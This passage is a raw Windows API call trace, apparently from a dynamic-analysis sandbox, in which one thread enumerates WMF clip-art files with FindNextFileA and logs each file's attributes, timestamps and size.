lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0135.152] GetCurrentThreadId () returned 0x9b0 [0135.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0135.152] GetCurrentThreadId () returned 0x9b0 [0135.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0135.152] GetCurrentThreadId () returned 0x9b0 [0135.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0135.152] GetCurrentThreadId () returned 0x9b0 [0135.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0135.152] GetCurrentThreadId () returned 0x9b0 [0135.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0135.153] GetCurrentThreadId () returned 0x9b0 [0135.153] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0135.154] GetCurrentThreadId () returned 0x9b0 [0135.154] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0135.154] GetCurrentThreadId () returned 0x9b0 [0135.154] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0135.154] GetCurrentThreadId () returned 0x9b0 [0135.154] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0135.154] GetCurrentThreadId () returned 0x9b0 [0135.154] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0135.154] GetCurrentThreadId () returned 0x9b0 [0135.154] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.155] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.155] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.155] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.155] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.155] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0135.155] GetCurrentThreadId () returned 0x9b0 [0135.156] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0135.156] GetCurrentThreadId () returned 0x9b0 [0135.156] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0135.156] GetCurrentThreadId () returned 0x9b0 [0135.156] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0135.156] GetCurrentThreadId () returned 0x9b0 [0135.156] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0135.156] GetCurrentThreadId () returned 0x9b0 [0135.156] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0135.156] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0135.157] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0135.157] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0135.157] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0135.157] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0135.157] GetCurrentThreadId () returned 0x9b0 [0135.157] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.158] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.158] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.158] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.158] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.158] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0135.158] GetCurrentThreadId () returned 0x9b0 [0135.159] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0135.159] GetCurrentThreadId () returned 0x9b0 [0135.159] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0135.159] GetCurrentThreadId () returned 0x9b0 [0135.159] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0135.159] GetCurrentThreadId () returned 0x9b0 [0135.159] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0135.159] GetCurrentThreadId () returned 0x9b0 [0135.159] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0135.159] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 